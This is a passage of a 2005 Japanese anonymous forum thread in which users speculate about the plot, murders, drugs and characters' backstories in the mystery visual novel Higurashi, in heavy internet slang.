：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:25:45 ID:7xQckBdC0 >>89 http://www.google.com/search?hl=ja&q=%E6%8B%B7%E5%95%8F%E5%99%A8%E5%85%B7%E3%82%88%E3%82%8A%E6%80%96%E3%81%84&lr= 91 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:27:03 ID:MuxXMQqR0 >>90 ﾜﾛｽｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 92 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:30:02 ID:lQe+IvM+0 >>88 ノドカキムシール否定派の俺なわけですが、 トミーの死に方に関しては今までも何度か言及してるんだが…。 喉に何かがまとわりつくような幻覚にとらわれるとか、 喉の奥に何か異物を突っ込まれたとか、まぁ、色々。 正直わからない。 圭一はもう少し簡単で、錯乱状態においてトミーの死に方がフラッシュバック。 が一番有力かと思います。 あるいは誰かがトミーと同じ殺害方法を用いたか……。 梨花ちゃまは詩音に対し、「これはトミーを殺した薬ですよ」 と思い込ませるためのブラフ。 「拷問狂」に対し、できるだけ凄惨な死に方を見せてやりたかったってのもあるかも。 「お前はこんな殺し方が出来る？」と。 トリックがなってない……。 とにかく、薬はあったとしても「喉を掻き毟らせるための薬」ではないと思う。 幻覚作用とか、窒息とか……そのようなものでは、と。 93 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:34:32 ID:7xQckBdC0 >>91 ごめ、見つかったｗｗｗｗｗ http://www.google.com/search?hl=ja&q=%E6%8B%B7%E5%95%8F%E5%99%A8%E5%85%B7%E3%82%88%E3%82%8A&lr= 94 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:35:21 ID:MuxXMQqR0 >>93 重ね技ﾜﾛｽｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 95 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:35:39 ID:ODggirVH0 >>12 IDがePa 96 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:35:51 ID:ODggirVH0 ごめｗ語学ｗｗｗ 97 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:42:29 ID:lQe+IvM+0 >>90 おまいｗｗｗｗｗｗ最高ｗｗｗｗｗｗ >>89 とりあえず魔列車にはフェニックスの尾あげときますね。 やはり鍵開けスキルに矛盾が出てくるな……。 スクラップ帳で「あの男なら開けられる」ということが書いてあった。 これは自分では開けられないってことだよな？ （出来ても、かなり難しいとか） 屋根の隙間については、サトコが屋根に上って初めて気付いたものだよな。 そして勿論、そのことを人に言ったことはナイはずだ。 気付いたとしても胸がつかえて入れな（ｒｙ 祭りのときイリーは……何してたんだろ？ 前の年はバザーの運営してたよな。だったら、今年も運営委員の１人だった可能性がありそうだ。 98 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:44:43 ID:OFs5wBzf0 そもそも何で「拷問狂」なんだ？という疑問。 詩音のセリフだけを聞いただけで出た言葉なのか？ 99 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:45:07 ID:8c89jy7p0 >>92 なるほど～。 今ふと自分でも残酷なトリック思いついたんだが 頚動脈に空気注射した 空気を注射したら血管がつまって脳や心臓に血液が行かなくて死ぬわけだが それを頚動脈あたりに打ったら苦しくて喉かきむしったんじゃないか？ でもこの方法で死んだのはトミーだけで 梨花ちゃまはブラフ K1は錯乱 ってのは納得できる。 ﾉﾄﾞｶｷﾑｼｰﾙが存在しないなら３つの同一はトミーを模倣した死に方を各々の理由で選んだってことで まとめられると思う。 ともかく梨花ちゃまは薬を武器に戦おうとした所から考えてもなんらかの薬はイリーから得てるってことで 俺の考察ともそこまで矛盾しない…のか？ ｽﾏﾝ、一回ﾉﾄﾞｶｷﾑｼｰﾙ完全否定で考察やり直させてもらっていいか？ こんがらがってきた 100 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:50:28 ID:lQe+IvM+0 >>98 うおっ！！ そういわれてみればその通り！！ 園崎の血筋の問題なのかな？ 古手は「祭具」をほぼ封印状態で、長いことつかっていない。 だけど園崎は今でも「祭具」を使って拷問のような処刑のようなものをしてる。 それが「残酷な園崎の拷問狂の血」だということか？ 或いは薄々でも確実にでも詩音が拷問してたのを知っていたのか…。 >>99 空気注射は前にも出てたな。 そうだな。薬を「どこか」から得ていた。 その有力候補は入江だっていう点では変わりない。 俺もこのスレ立ててから大分こんがらがってるｗｗｗｗｗｗｗ ゆっくりやっていこうぜｗｗｗｗｗ 101 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:57:33 ID:yWdUqOTk0 リカちゃんの注射器に入ってたのは殺すための薬だとは思えないんだよなー だって殺すためなら注射器じゃなくてナイフとかの方が簡単だし 毒使うにしたって食べ物に混ぜるとかナイフに塗るとかした方が良いだろうし あの薬は自白剤的なもので何かを喋らせる為に注射しようとしたんじゃないかな それからリカちゃんは魅音と詩音が入れ替わってるのは確実に気付いてるだろうから 魅音が監禁か殺害されてるであろう事は予想が付いてただろうし村長やボス婆についても同様だろう その辺の事を聞き出す為に薬を使おうとしたんじゃないかな リカちゃんが自殺したのはその薬のせいで自分が喋らせられるのを防ぐ為 小学生程度の女の子がそんな事するかよって思うけど俺の中ではリカちゃんはオヤシロ様で確定だから問題なし 102 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:00:20 ID:8c89jy7p0 ﾉﾄﾞｶｷﾑｼｰﾙ完全否定の考察 ミヨはトミーに殺意を抱きイリーに協力を仰ぐ。 イリーは裏部隊である古手の一派と共にトミーを殺害、その時に必然か偶然かは 分からないが「喉を掻き毟る」といった死因に至る。 何故イリーが古手の力を利用できたかと言えば「死」を身近に置く実行部隊としては 薬製造や書類捏造、医療技術と便利が能力がそろい踏みのイリーの存在は常に手元に置きたいがため。 この時「鬼隠し」として焼死体も用意、歯型捏造にイリーが直接関与したかは微妙、ミヨ単体でもそれくらいはどうにかなりそう。 で、ここで古手とミヨによる「例年の祟り」は完成し事件はこの一派の手を離れる。 鬼のK1は錯乱、もしくは自責の念による模倣的自殺であり当然薬は検出されず死を迎える。 綿に関しては詩音によるKOOLモード発動でその他の殺人が行われ 梨花ちゃまはいやがらせなのか薬が幻覚を呼び起こしトミーと同じ死に方をする （梨花ちゃまからも薬の類は検出されなかったという表記は無かったような） これが「喉を掻き毟る」一連の殺人のﾉﾄﾞｶｷﾑｼｰﾙ完全否定の考察 こんなもんでどーでしょ？ 103 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:02:40 ID:6CAw6bnSO まだ続いてたのかww 1の人も帰ってきてるしww 参加するのは携帯だとﾂﾗｽ(´･ω･｀) 104 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:02:54 ID:lQe+IvM+0 >>101 うおｗｗｗｗお前それいいなｗｗｗｗ 殺す薬にしてはやや不安がのこる感じだったからな。 打った後にふらふらしてはいるけど、 喉を包丁で突き刺す余力があるんじゃ抵抗されたら痛いもんな。 つか梨花ちゃんカッケーｗｗｗｗｗｗ 105 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:09:51 ID:OuZMl1G20 オヤシロ様って結局何者なのか俺に分かりやすく三行で 106 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:11:06 ID:lQe+IvM+0 >>102 理屈としては充分って感じではあるかな。 やはり細かい理由とかはどーしても解明出来ないどこなんだが…。 はぁ、こうしていくら考察しても、 誰も答えをしらないから 「いい感じなんじゃね！？」とは思えても、「正解だ！」とは思えないのが辛いｗｗ 梨花から薬の類の検出……は本編には無かったな。 ただ注射器について大石が、 「糖尿病でインスリン注射をしていた、というような話はありませんか？」 と圭一に聞いてたな。 中身がインスリンだという可能性が、多少ある。 107 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:12:58 ID:s3qBh55q0 >>106 殺すための注射器ではなく、生かす為の注射？ そりゃあ無理矢理他人に注射するなんてかなり無理な話なんですが 「普段から一緒に生活してる」くらい仲のいい人相手なら 油断もするだろうし可能でしょうね。 当然、中身がオヤシロエキスだろうとなんだろうと 小学生ごときがクスリの種類なんぞ分かるわけもありますまい。 さらに薬を扱う人間となると…やはり犯人はヤスだな。 108 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:13:47 ID:yWdUqOTk0 トミー殺しは鷹野さんが犯人だと思うけど動機がよくわからない 思うに鷹野さんは殺すのは誰でも良かったんじゃないかと思う 自分が死んだ（もしくは鬼隠しにあった）事実を作る事が目的で たまたま使えそうなのがトミーしかいなかったから殺したくらいで 祟り殺しでK1がさと子の叔父を殺した後に鷹野さんと会ったけど あれはまさにトミーを殺した直後だと思う にもかかわらず鷹野さんはいたってクール 憎い相手を殺した高揚感や達成感といったものがまるで感じられない ほんとにたまたま日常の中で通りかかったくらいのテンション たった今ひとり殺してきて動揺してグダグダになってるK1とはえらい違い 鷹野さんにはとんでもない謎が隠されてると思う 109 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:19:43 ID:lQe+IvM+0 >>107 血糖降下剤とは？http://www.medi-navi.com/desease/cgi/view.cgi?dfile=mds&dname=mds16より引用 食事療法だけでは解決しない糖尿病に用いられます。 効果：血中のブドウ糖濃度を下げます。 副作用 食欲不振、悪心、消化不良、皮膚の知覚鈍麻、局所刺激、発熱、発疹。 インスリンとは？http://www.geocities.co.jp/Beautycare/4297/3030400.htmlより引用 【副作用】 重大副作用国内（重大副作用国内） １．低血糖（脱力感，けん怠感，高度の空腹感，冷汗，顔面蒼白，動悸，振戦，頭痛，めまい， 嘔気，知覚異常，不安，興奮，神経過敏，集中力低下，精神障害，痙攣，意識障害（意識混濁，昏睡）等） があらわれることがある。 薬には副作用とか、過剰摂取による障害とか、また健康な人に打つことで障害がある場合もある。 110 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:19:52 ID:xJwzZm1V0 くけけの後の目って何を意味してんの？ あの時点でＫ１殺害しようとしてるヤツは居ないみたいだし 村全体からの監視を意味するのなら複数人の目のほうが相応しい オヤシロシンドロームも綿流しでは発現してなかったし 111 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:21:36 ID:8c89jy7p0 インシュリンは大量摂取すると 知覚障害 眩暈 嘔吐 などを引き起こすらしい。 薬食らった後の現象はこれに該当するな、そう考えるとインシュリン→自殺のコンボが成り立つな 112 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:23:28 ID:lQe+IvM+0 >>110 目はプレーヤーへの演出……だと思うな。 あとは圭一のビビリ具合を表現？とか…。 113 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:32:31 ID:8c89jy7p0 ぬおぉう…頭クラクラしてきた そろそろ寝るわ。 おまいら真面目に考察に付き合ってくれてｻﾝｸｽ 何気に本スレより真面目なおまいらﾃﾗﾓｴｽｗｗｗｗｗｗｗｗ 捨てアド晒しとくから避難したりするんなら呼んでくれ あと「俺の考察を聞けぇえええええ!!!!」てのも大歓迎だ。 文描きを生業としてるから他人の文読むのは餌になるんだ。 んじゃ落ちてなかったらまた午後にでも ﾉｼ 114 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:32:54 ID:lQe+IvM+0 >>108 ということは鷹野さんは姿を隠す必要があったってコトか？ それとも単に「祟りの実行者」を出し抜きたかったのか。 鷹野さんが動揺していないように見える……というのは、 圭一視点で多少のゆがみはあるとしても落ち着きすぎというのは確か。 大人だからってアレはちと厳しい。 相当殺しになれている、か。 或いは殺害方法が「死体を見ることのないようなもの」だとか。 （どこかで、銃で遠くから人を殺すのはあまり罪に感じられない、 というような話を聞いたことがある。） 115 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:35:11 ID:lQe+IvM+0 >>113 いてらー。ゆっくり寝てさっぱりした頭でまた参加してくれ。 ﾉｼ 俺もシャワーでも浴びてこよう。 116 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:40:59 ID:F2UCm27G0 インスリンって大量に投与した場合検出されるからちょっと無理ある気がする 昭和58年当事でも正確に検査できたかどうかは解らんけど 117 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:43:38 ID:ALHf5YSE0 お前ら詳しいみたいだから長年の疑問を聞いて見たいんだ 鷹野魅音誌音のバストサイズの公式設定を聞きたい 118 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 09:53:14 ID:lQe+IvM+0 >>116 それは確かに…。 そもそも、「検出されない薬」とか「検出されても異常と思われない薬」 なんてのは限られすぎだろう。 部分部分考えられるのは、 薬物反応が「血液」からしか出なくて、大量出血のためその薬物混入した血液が全部流れた、とか。 >>117 そ、それは……わからねぇ。 119 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 10:03:34 ID:yWdUqOTk0 大石がインシュリン使ってたかどうか聞いたのは一般人が注射器持ち歩く理由がそれくらいしか無いからでしょ 別に死体からインシュリンが検出されたわけじゃないよね？ 120 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 10:07:26 ID:lQe+IvM+0 >>119 まぁ、多分そうだとは思うんだけど…。 検出されたって話は聞かないからな。 されてないって話も聞かないから、可能性として。 121 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 10:25:06 ID:x/u34u5y0 うはｗやっと追いついたｗｗｗｗｗｗｗｗｗｗｗｗｗ 今止まってた、目明し編やってるｗｗｗｗｗｗｗ 122 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 10:26:07 ID:lQe+IvM+0 大分良い感じに廃れてきたなーｗｗｗ ここで敢えて俺は圭一について語っておこう。 ・圭一の転校の理由とは？ 「いろいろあり、引越しして環境を変えるのもいいだろう、という話になった。」 この「いろいろ」とはなんなのかをちょっと考えたい。 前の学校での生活を、圭一はあまりいいものと考えてなかったところがある。 毎日退屈だとか、 普段遊んでいる友人達も、自分がピンチになったら助けてくれないだろうとか…。 前の学校での圭一は、頭が良くてがり勉タイプだった、と自分で言っている。 その退屈な日々の中で、圭一…或いは前原家に「事件」が起きた。 それが原因で引越しせざるを得なかったが、引越ししたほうが良くなったのではないだろうか？ 圭一の親父の仕事は東京が中心らしいから、 いくら環境がいいからといって雛見沢は職場（？）からあまりに遠すぎる。 エンジェルモートが理由というのも無理がある。 いくつかの選択肢を選ぶ余地の中には含まれていたかもしれないが。 そもそもエンジェルモートに行きたいなら住居は興宮の方がいいわけだし。 雛見沢を選んだ理由はやはり「学校」にある気がする……。 123 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 10:31:02 ID:lQe+IvM+0 >>122続き。 で、学校についてだが、何度も出ているように 「普通の学校に行けない事情がある人が、雛見沢の分校に行く」 ということになっている。（一部はそれを無視して通ってるらしいが） で、圭一の転入に際し、両親は勿論これを知っているはず。 学力重視の母のことも考えると、理由なく「雛見沢分校」に入れるとは思えない。 つまり圭一には「普通の学校には入れない理由」があった。 それが精神障害なのか、 それとも過去になんらかの事件を起こした所為なのか……。 その辺りは何とも言えない。 まぁ、まったく関係なく 「前原の両親に雛見沢ではなくてはならない特別な事情があった」 という考えもないわけではないんだが、 俺は圭一に理由があった方を推すかなー。 長くなった。ゴメス。 124 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 10:35:10 ID:x/u34u5y0 >>122-123 俺はなんとなく圭一はサヴァン症候群だったんじゃないかと 思っているんだが。 125 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 10:40:40 ID:lQe+IvM+0 >>124 ある一つの能力に関して飛びぬけているが、 他の事象に関しては限りなく白痴という奴だな。 似たようなのでアスペルガー症候群ってのもあるが……。 そこまで過度ではないかもしれないが、 何となくそういう傾向はあるかもしれない、とは思う。 126 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 10:48:52 ID:x/u34u5y0 >>125 アスペルガーってのはちょっと違うかもしれないな。 コミュニケーションの上手さは、シナリオの節々で出ているし。 圭一は確か、自分が興味持ったことには恐ろしいほどの 集中力があるんだったよな。 となると軽度のサヴァン（そんなんあるのかは知らんが） または、それに近い状態だったんじゃないかと。 それだとKOOLモードに入りやすいのも説明できそうなもんだし、 集中力が特出しすぎてて、周りが見えなくなりやすいってのは、どうかな？ 127 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 10:52:26 ID:F2UCm27G0 ドーパミン過剰の精神分裂症ってのがやっぱ怪しい キチガイ予備軍と誤解されてた昔なら田舎の隔離された所に引越しとかありえそう ドーパミンのバランス崩れるとエクボン症候群みたいに体深部にむず痒い不快感を発する症状でる ケースもあるし（膝下限定のようだから喉掻きむしるにはもう一工夫あるんだろうが） ドーパミン、アドレナリン、インスリンあたりがﾉﾄﾞｶｷﾑｼｰﾙ否定する際には本命かな 128 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 10:53:20 ID:lQe+IvM+0 >>126 うむ。引越し前も友人はいたようだからアスペルガーはあんまり無さそうですな。 病名ともあれ、 （サヴァンって言っても能力は人それぞれだったりするわけだし） 圭一の症状（？）がどのようなものだったか、が重要だな。 塾に入った以降は学校の勉強は出来てたみたいだし…。 129 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:00:25 ID:lQe+IvM+0 >>127 そういや圭一、何度も「脳内物質が云々」とか言ってたなぁ…。 パラノイアだったのかもしれないな。 妄想性人格障害（paranoid personality disorder）（ICD-10） 特徴 挫折や拒絶に過度に敏感 侮辱を容赦出来ず、恨みを抱き続ける 疑い深く、他人の行動を歪曲して受け取る 個人的権利を執拗に求める 病的に嫉妬する 過度の自信を持ち、常に自分を引き合いに出す 自己の周囲や世間一般の出来事について「陰謀がある」という考えにとらわれる なんとなく、それっぽい。 130 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:01:18 ID:6CAw6bnSO 何の能力に秀でてるんだあのKOOLは？話術？ 単になんでもかんでも大袈裟に話してるだけの気もするけど K1に何らかの事情があって雛見沢に来たってのはある気はするけど、雛見沢に来たのはあくまで偶然だと思う 親父が昔来たことあるとか言ってたし、親父も田舎チックなとこに行きたいと少しは思っててK1のこともあって雛見沢に来た と 学校の件はK1の精神的なことを考えて田舎っぽいの学校のほうを選んだ こんな感じか？ ただ両親の態度が微妙なんだよな…両親がK1に何を求めてるのかがわからん… 131 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:02:48 ID:fvnXc3Qa0 犀川先生がいっぱいいると聞いたのですが 132 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:04:12 ID:x/u34u5y0 >>127 アドレナリン云々は賛同しかねるが、ﾉﾄﾞｶｷﾑｼｰﾙは俺も無いと思うな。 前スレで否定されていた十戒だけど、ヒグラシはある程度お約束事を踏まえて 書かれてると思う。（双子だったり顔が判別できなかったりな） だから、未知の薬品は無いと思ってるのだが。 133 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:06:39 ID:x/u34u5y0 >>129 お前は一体何を専門に勉強しているんだｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 詳しすぎｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 134 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:07:42 ID:oMXhesqN0 ヴァン・ダインの二十則を無視したらつまんなくね？ 135 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:10:31 ID:F2UCm27G0 >>132 ttp://lab.vis.ne.jp/higurashi/suiri01.html ドーパミン云々に関してはここで結構まとめてある これが正解とは言えないけど、推理する際の参考にするのはいいんじゃないかと思ってる 136 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:10:57 ID:lQe+IvM+0 >>130 うーん、土壇場で力を発揮する、口先の魔術師。 その「ゲーム」のルールを外から捻じ曲げて、干渉する。 何と言うか……トリッキーな存在なんだよな。 ちなみに頭をガリガリしたり、気分を落ち着けるときに首を後ろに傾けるクセがある模様。 うーん俺として、 圭一に事情があって、いくつか新しい学校の候補があがった。 その中で親父が雛見沢を選んだんじゃないか？ と思ったりしてたりするんだけど…。 確かに、両親の圭一に対する云々はあまりわからないなぁ。 母親は勉学重視の感じがどことなくあるけど、 親父は絵描きの仕事やりたい、と言ったら喜んだみたいなのどっかにあったよな。 137 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:11:44 ID:x/u34u5y0 >>130 本編で自分の興味あることには、特出した能力があるっていう所があった たしか、何も見ずに二十面ダイスの展開図を描いていたと思う。 138 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:13:06 ID:6CAw6bnSO つーかそこまで詳しく考えなくても、被害妄想の気があるとか精神が不安定とかその程度でいいんじゃまいか？ 路線がどんどんずれてってる希ガス 139 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:17:02 ID:x/u34u5y0 >>138 基本的に謎編は圭一視点で書かれているから、 あながち外れてもいないと思うんだけどな。 圭一の言動のどこからどこまでが嘘か本当かがわかれば 推理の助けになると思うし。 140 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:17:30 ID:lQe+IvM+0 >>133 ちょっとググってよさげなの拾ってきただけだｗｗｗｗ ちなみに専門で勉強してるのは宗教ｗｗｗｗｗｗうはｗｗｗ関係ねぇｗｗｗ >>137 その能力がどういう意味を持つのかってことが重要だよな。 てか圭一、主にこの能力ゲームでの勝利のために使ってないキガスｗｗｗｗ 141 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:20:10 ID:lQe+IvM+0 >>138 まぁ、病名までは分からなくてもいいかもしれない。 それに精神系の病は人それぞれ症状が異なってて「これだ！」っていう型がないだろうし。 とりあえず議論のもともとの焦点は 「圭一の転校の理由はなんなのか」なんだけどさ…。 今までずっと引越し前の町で普通に生活していたのに、 唐突に雛見沢に引っ越すことになった。 何かキッカケになる事件があったんじゃないかと思ってるんだが。 142 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:29:12 ID:i/aWPGQs0 父親か母親が雛見沢出身とかいう記述なかったっけ？ 俺は今までずっとそう思ってたから K１の転校の理由を不審に思ったことはなかったけど 143 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:30:23 ID:x/u34u5y0 >>141 少し変わるけど、レナが雛見沢に帰ってきた理由は 窓ガラス叩き割ったって件でいいのかな？ たぶん圭一もそんなような事件を起こして雛見沢にってことか？ 144 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:33:40 ID:lQe+IvM+0 >>142 うーん、そういう記述は無かった、と思う。 それだったらもうちょっと村の人たちと交流してる気もするし……。 一度出て行ったから敵対されてるのかもしれない、って可能性もあるか。 >>143 レナの帰ってきた理由は多分それでいいと思う。 「オヤシロさま」連呼する娘見たら、親も帰らざるを得ないだろう。 傷害事件までいくかどうかはわからないけど、 そんな感じで事件を起こして圭一もこっちに来たんじゃないかなー？ と、俺が個人的に思ってるだけ、なんだけどさ…。 145 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:36:26 ID:x/u34u5y0 >>144 だとすると、圭一を一人にして長期旅行ってのが どうも納得いかないんだよな。 でも、おはぎ投げつけたときの反応の薄さは気になるし 146 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:40:32 ID:x/u34u5y0 ちょｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 綿流しの日までやったのが、応答なしってｗｗｗｗｗｗｗｗｗｗｗｗ ｾｰﾌﾞｼﾃﾅｽｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ ｗｗｗｗｗｗｗっうぇｗｗｗｗｗｗｗｗっうぇｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 147 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:41:44 ID:lQe+IvM+0 >>144 あー…そこは痛いとこだな。 だけど旅行ってか仕事に関しては、 １人にしておくと心配だからレナに頼んでおいたのかもしれない。 おはぎの方は……。 今までも稀にあんな風にすることがあったんじゃないか？ てか、普通の子供だったらもっと怒られると思うんだよ。 圭一が今までにもあんなことをしていて、 でも本人は悪いことをした自覚もない状態だから 怒ってもしょうがない…とか考えていたとか？ ちょと厳しいか。 148 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:43:21 ID:lQe+IvM+0 >>146 乙ｗｗｗｗｗｗｗ そこで必殺「選択肢まで早送り」だｗ まぁ、選択肢がないから適当なとこで止めないといけないがなｗ 149 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:49:32 ID:x/u34u5y0 >>147 俺が思うのはさ、一緒に連れて行けたんじゃないかってことなんだよな。 仕事で両方出張ってるといえども、ホテルに残していけば、 少なくとも家で一人よりは安心だと思うんだよ。 （知らない土地で一人でふらふらどっか行かれるよりも安心って事かな） んで、レナだけど、 確証は無いけれど、両親は特殊な学校だって知っていたわけだよな、 それなのにいくら友達でも そういう学校に通っている子に頼んでいくだろうか？（レナの過去を事を知らなかったとしても） 重箱の隅をつつくようで悪いんだが、気になったんで。 150 ：ヤスヲタ：2005/06/07(火) 11:54:35 ID:2F6NBr5XO おぃ！おまいら祭りだぞ！ VIPあつまれ！ 大盛況で参加できなくても、 ちょっと待てば入れるよ！ 関連ｽﾚ【VIPのみんなでﾊﾞﾄﾛﾜやろうぜ】 http://keiyasuda.ddo.jp/~br2ch/br/brlist.cgi 151 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:55:00 ID:x/u34u5y0 >>148 うはｗｗｗｗｗｗｗｗｗｗｗｗまた消えたｗｗｗｗｗｗｗｗ もうイヤｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗっうぇｗｗｗｗｗｗｗっうぇｗｗ 152 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 11:59:46 ID:lQe+IvM+0 >>149 ううーん、連れて行くことは確かに可能だけど……。 そんなに心配ならそもそもこんな距離を離さなくちゃいけない土地に引っ越さないか…。 自分の死を匂わせている子供を置いていくのも何だかなぁだしなぁ。 母親は圭一に学校はなるべく休んでもらいたくないと言ってるから、 連れて行くと学校を休むことになる、っていうのが一番有力といえば、有力。 綿流し以降はおかしくなってはいるけど、 全体を見ると引っ越してきてから圭一の状態は回復している。 基本的な生活能力に支障があるわけでもない。 ……こんなところか。 レナについては、確かにそうだなー。 でもレナにではなく、レナの親に頼んだって可能性もあるかと。 レナの家とは漬物もらったりするような交流もあったみたいだし。 「特殊な事情がない子も通っている」わけで、 両親にはその特殊な事情の判別は出来なかっただろうし、 しっかりものに見えたんじゃないかなぁ、レナは……。 あぁー、穴だらけー。 153 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:04:06 ID:lQe+IvM+0 >>151 それは多分祟りだ。 今すぐ雛見沢に帰るべきだな。 154 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:07:46 ID:x/u34u5y0 >>152 ちょっとコレはまとまらんかもねｗ 一回保留したほうがよさそう。 いつまでも堂々巡りしそうだｗ 155 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:08:45 ID:lQe+IvM+0 >>154 そうだなｗぐるぐるまわったら話を切り替えたほうがすっきりする。 一時保留ー。 だが説に穴があることは何となくわかったので助けになった。 156 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:14:56 ID:brCzsHX3O 昨日捜査ファイルのバラバラ殺人のﾄｺの写真うpしたの俺がきましたよ 昨日話の流れで現場監督を食ったっつーのがあったけど、 いままで鬼隠しにあった人達は幹部食われたとかゆーのどうよ？ 157 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:15:25 ID:lQe+IvM+0 過去関連で行くと、圭一の方よりレナの方が分かり易いけど……。 あれもどんな感じなんだろーかなぁ。 158 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:18:15 ID:x/u34u5y0 >>156 そこまで異常なのは正直無いと思うけどなｗ >>157 くわしく 159 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:18:43 ID:lQe+IvM+0 >>156 幹部食われたってのは、幹部に食われたってコトか？ いままでの鬼隠しっていうのは過去４年間の事件の失踪者のことか？ それとももっと広範囲での？ 一部についてはおそらく目明しで出てきた園崎家地下祭具殿の井戸だと思うが…。 160 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:18:47 ID:brCzsHX3O うはw誤字脱字多杉だったwwww 幹部に食われた ね 161 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:27:38 ID:lQe+IvM+0 レナの過去の傷害事件に関してだが。 この事件で特に問題となるのは、 レナが何故唐突にバット振り回して友人を殴ったか その友人の男３名は何故レナを告訴したり、多くを語ろうとしないのか この話は大石が「一部憶測を含んで」語ったものにすぎない この３点だと考えられる。 ３人がレナをﾚｲｰﾌﾟしようとしたからだ、みたいな話があったけど……。 その現場のプール倉庫の辺りってのがどんな場所なのかわかんないからなぁ。 殴ってるときの目撃証言があった、みたいな感じだったし。 どういう状況だったんだろう？ まったく情報のない圭一よりはどことなく推測できそうな気もするんだが。 ついでに、３人を殴った後に、「人」や「モノ」ではなく「ガラス」を割って歩いた件については、 「ガラスに映った自分、或いはその背後にいる『何か』」を殴っていたんじゃないか？ って説が公式の掲示板のどっかにあって、なるほどな、と思ったことがある。 162 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:37:39 ID:x/u34u5y0 >>161 俺もレイプじゃないかと思ってた。 プール倉庫っても事件あった季節なら人通りは多くないだろうと思う。 殴ってる途中に、誰かが大きな声出せば、人が気がつくんじゃないだろうか。 